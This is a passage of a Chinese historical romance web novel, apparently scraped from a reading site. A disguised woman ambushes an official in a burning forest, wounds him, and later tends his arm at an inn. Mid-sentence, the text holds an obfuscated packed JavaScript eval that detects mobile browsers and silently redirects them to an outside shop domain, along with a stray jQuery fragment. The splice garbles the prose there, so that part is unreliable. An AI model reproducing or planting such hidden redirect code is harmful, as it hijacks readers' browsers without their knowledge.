“等等!”
谢溪非瞬息之间定了决断,叫住江陵,“此人身份诡谲,有通敌之嫌,我当亲自捉拿。”
他将禹州兵符交还杨谌,北府军暂由江陵统领,两军一切事由全部交由杨谌决定,由他先行抵达洛州,探明情况。
杨谌忧心忡忡地看着谢溪非带人疾驰的背影。
萧琬疾驰在夜里,迎面的狂风吹起她张扬的发丝。
她更像一支离弦的箭,悍然撕开了墨色的暗夜,冲向北境的旷野。
萧琬行至夜半,夜风愈烈。一转头,果然看到一队人马准备对她四散围堵。
她在马背上回首,挽弓如满月,一箭破空,钉入前方的林涛之中。紧接着手腕一翻,马鞭狠狠抽落,座下骏马发出一声长嘶,直往密林里冲。
谢溪非已料到她的动作,在疾驰中搭弓。
咻——
羽箭直奔萧琬的马腹。
萧琬丝毫不惧,回头甚至给他露了一个挑衅的表情。
铛——
一声刺耳的振响在寂静的黑夜里擦出尖锐的火花。
谢溪非疾驰间只见一把刀凭空劈出,斩断了他的羽箭。
萧琬借着冲势,隐进了密林。
随行的军士眼尖道:“谢大人,是氐人的弯刀!恐有埋伏!”
谢溪非沉声道:“继续追!”
飒飒——
萧琬剥开林叶,提前布防在此的杨家死士即刻接应。
“拿好刀,拦住他们,不可伤人。”
萧琬听着林外的马蹄,往反方向跑,眯起眼睛,握着弓,不放过林里的一丝动静。
“小心冷箭。”
“……小心!”
“是弯刀!快躲开!”
刀光四散在密林里,萧琬在林里兜兜转转地挽弓出箭,专射马腿,杨家死士乘机弯刀斩马,把谢溪非的人狠狠往地上掼。
萧琬握着弓转了一圈,悄无声息地回到了原点。
与此同时,一道黑影从侧面掠来,稳稳停在她的马前。
是谢溪非。
谢溪非在马上,衣袂翻飞,他没有说话,只是静静地看着她,目光落在她被冷风吹得苍白的脸上。
“陈遥?”
萧琬把手伸向后腰,笑道:“谢大人别来无恙。”
“你到底想做什么?”
“钓鱼,顺便守株待兔。”
萧琬从身后拔出短刀,猛地一夹马腹,直冲谢溪非,同时一支火折子掉在地面。
提前布置的引线瞬间引燃,火势燎原。紧接着,四面骤然亮起无数火把,灼灼火光冲破黑暗,将整片林子照得一瞬如白昼。
啪—滋——
火把瞬间落地,烈焰如游龙顺着地面的草叶飞速蔓延。
烈火灼烧着地面,马匹嘶鸣一声,萧琬的短刀已经抵至谢溪非的脖颈,刀身反射出一瞬烈火的光辉。
“大人小心!”
一支箭从萧琬侧面袭来,萧琬遗憾地看了一眼谢溪非在火光下显得格外白皙的脖子,果断收手策马后退。
叮——
箭尖擦着萧琬的脸颊落地,扎在脚下的火焰里。
萧琬一瞬收了短刀,搭箭上弦,直指谢溪非。
谢溪非抬手。
就在此刻,无数冷箭四面八方朝着萧琬而来,萧琬急急松开弓弦。
谢溪非端坐在马上,任由那支偏箭,擦着自己的脸颊钉入焦土,火光映在他的眼底,他静静地观察着她的动作。
“嘶……”
萧琬边撤边伏低身子,几乎与马背贴平,几支箭矢擦着她的发丝钉入地面,其中一支划破了她的肩头。
细密的疼痛从肩膀处传来。
火焰在密林里越烧越旺,黑烟直呛咽喉。
本想假意困他一困,谢溪非这个混蛋竟敢伤她!
既然如此,休怪她不客气!
萧琬猛地一夹马腹,与他拉开距离,怒道:“放箭!”
杨家死士早已准备好,从四面亮出箭镞。
咻——
此行太过仓促,萧琬想借着密林虚张声势,然后一把火把他们困在里面。
只是谢溪非也留了后手,在林外还留了弓箭手。
“时机已失,撤!”
萧琬毫不犹豫,借着浓烟与密林的掩护,朝着远处幽深的山道疾驰。
谢溪非不打算放过她,策马踏过烈火,直逼过来。
萧琬不怕他,率先冲出密林,蛰伏在此的杨家死士,点燃了最后一根引线。
轰——
大火轰然燃起,彻底隔绝了谢溪非的来路。
萧琬捂住肩头狭长的伤口,拿出她仅剩的最后一支羽箭,隔着火帘,拉满了弓。
对着谢溪非的侧脸,松手。
这支箭力道刁钻迅猛,是萧琬在弓道上看家的本事。
利箭钻过火焰,谢溪非不是常年习武之人,果然没能躲开,捂住了右胳膊从马上摔了下来。
萧琬笑一声,功成身退。
“我们走!”
……
“下雨了!”
黑云遮蔽了月光,也凝聚了太久。
直到天际一声轰鸣。
萧琬一抬头,豆大雨珠落在她的眉心。
真会挑时候!
……
雨点骤然砸落,噼里啪啦砸在燃烧的枝叶上,激起漫天的水汽。
灼热的气浪逐渐消散,浓烟被水汽混合着沉入大地,笼罩的火帘,瞬息间颓了大半。
谢溪非淋着雨,修长的五指死死按住右臂伤口。
方才那一箭穿透火障,深深地钉入他肩臂皮肉。
血顺着指缝渗出,遇着雨水,疼痛在蔓延。
雨下得越来越大,燃烧的枯枝逐渐被雨水浇熄,留下一片泥泞的焦土。
谢溪非抬眼,透过雨帘,望向山道尽头那道疾驰的身影。
亲兵匆匆策马赶来,看着他的臂膀,急声开口:“大人!您伤势要紧,属下即刻追上去将人截下!”
谢溪非缓缓松开放在伤臂上的手,“不必,我亲自去。”
他的声音低沉沙哑,混着风雨声,听不出情绪,目光始终黏在萧琬消失的方向。
她明明可以一箭射穿他咽喉,却刻意偏了寸许。
谢溪非站起来,“灭火,整顿人马,看看伤了几人。”
亲兵道:“回大人,已经清点过了,只伤了战马,人都没事。”
谢溪非继续问:“对方呢?”
亲兵摇头,“也无损失。”
谢溪非沉默一刹,追问:“看清楚了吗?是氐人吗?”
“弯刀,这是氐人偷袭最爱用的武器,这一点,属下不会看错。”
谢溪非想不明白。
她到底在做什么?
……
山道之上,萧琬已然带着一众死士奔出数里。
冰冷的雨水浸透了她的衣衫,雨水触及肩上的伤,尖锐的痛感阵阵袭来。
随行的杨家死士压低声音请示:“主子,他们没有追上来,是否先行驻足处理伤口?”
萧琬道:“我记得前方林地尚有一间客栈,可暂避。”
死士犹豫道:“客栈扎眼,恐有不妥。”
萧琬抬手,抹去脸颊上混杂的雨水,“无事,届时你们分开藏匿,千万不要让人看出端倪。”
——
萧琬脱下旧衣,在客栈里包扎了右肩,她借着烛火坐在镜前擦掉了脸上的污水泥渍。
她已许久未看铜镜,眼下青影淡淡,脸也瘦白了,她在镜前摸索了半天,找到了一盒放了有些年头的胭脂,揭开轻轻敷在面上,盖过了眼下的青影。
窗外的雨声渐小,黑云缓缓散去,露出依稀的天光。
天快要亮了。
萧琬卧在榻上,本想小憩一会,但身体的疲倦在躺上去的片刻便席卷而来,让她不由自主地一下陷入了沉睡。
直到天光大亮。
萧琬缓缓掀开眼帘,目色朦胧里,遥遥看见对面的案上端坐了一道人影。
谢溪非迎着日光,周身浸了一层雨后的朦胧,他收了手里的书信,放在烛火上燃尽。
他逆着从窗外斜漏出来的暖阳,抬眸看向她,平缓地开口,“你醒了?”
萧琬牵动了肩上的伤,彻底清醒了,她拧着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792656|210448||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眉坐起来,再去看他。
“你既找到了,怎么不杀我?”
谢溪非目光扫过她的右肩,“你的人在暗处,我不敢动手。”
萧琬抚着肩,翻了一个白眼,“说得好像你没带人似的。”
谢溪非轻咳一声,“他们的马都伤了,只有我一个人赶到。”
萧琬:“……”
萧琬去看他,谢溪非还是穿了一身和昨夜一样的玄衣,昨夜怎么没发现,玄衣配着他的端方君子气倒也别有一番风味。
他右胳膊上的箭已经被拔了下来,搁在案上的手显得有点不自然。
很好,看着比她伤得还重。
“自投罗网。”萧琬点评道,同时不客气地去拿藏在枕头下的短刀,谁知道摸了一个空。
随即耳边传来谢溪非淡淡的话音,“是这把吗?”
萧琬:“……”
谢溪非拿着短刀在她面前划过一道户县,然后收回自己的腰间,说:“氐人已经看到了,我们在一个房间里。”
谢溪非继续威胁,“你要么杀了我,不然你就永远回不去洛州。”
萧琬半点不怕,坐在案前盯着他,半晌后才说:“我会选择杀了你。”
谢溪非明显不信,他嘴角噙着淡淡的笑,指了指萧琬的右肩,“昨夜我已替你处理了伤口,他们同样知道。”
“在他们眼里,你与我是一条线上的人,你已经没有价值了。”
萧琬:“……!”
你说什么?你夜半窥探我的身体?!
谢溪非没理会她瞪过来的视线,当着她的面脱了尚留着湿气的外袍,挂到木椸架上,然后直直躺在了刚刚她睡的榻上,道:
“我也乏了,你也替我守一会吧。”
萧琬看着谢溪非一套行云流水的动作,眼睛都愣了。
不是,你在指挥谁?
恭顺守礼的谢家公子就是这个德性?
萧琬走过去看着闭目的谢溪非,目光一转盯向他的右臂,抬起手。
滋啦——
一声尖锐的破裂声打乱了谢溪非的呼吸。
萧琬撕开了谢溪非右臂的布料,露出一段渗着血的纱布。
谢溪非被她粗鲁地动作弄得伤口一片钝痛,想要起身止住她的动作。
萧琬一把按住他的胸膛,故意拿着腔调说:“谢大人辛苦,来而不往非礼也,我帮大人处理伤口。”
“你……”谢溪非要坐起,一把又被萧琬按了下去。
谢溪非后背砸在榻上,抬起脖子还想说话。
萧琬顺势夺走了他放在腰间的短刀,朝着他的侧脸刺了下去。
“钉——”
一阵凉风拂过谢溪非的面庞。
短刀钉在谢溪非的耳畔,人彻底老实了,萧琬面无表情地边拆他的纱布边说:“你们男人就是粗,纱布缠得一点也不对,你看看,这伤口还在流血。”
纱布被掀开,露出一片沾血的青紫,胳膊被她的羽箭射穿,鲜血正从青紫中央的血窟窿里往外渗。
萧琬从谢溪非腰间摸出了他随身带着的金创药,打开来猛地往他伤口上撒。
“药要多上些才能好得快,纱布,自然要缠得紧一些。”
萧琬边动手边说,手下力气毫不留情,谢溪非冷汗直流,几度闷哼出声,心想:
果然,记仇的女人不能得罪。
萧琬利落地打好了结,擦了一下额头的汗,拔了插在榻上的短刀。
站起来,悠然坐到谢溪非原来的位置上,看着榻上皱着眉,咬牙冷汗直流的谢溪非,托着脸说:“你睡吧,我替你守着。”
……
随行的杨家死士,落在客栈的屋顶上紧张地听着下面的动静,然后面面相觑。
一人眨了眨眼睛,“他们在说什么?”
另一人看过去,“氐人?”
指了指自己,“我们吗?”
一人偏头,“谢大人动手了吗?咱要不要下去?”
另一人摇头,“我听着是咱主子动手了,谢大人危矣。”
“要救吗?”
“他又不是我们主子。”
“有道理。”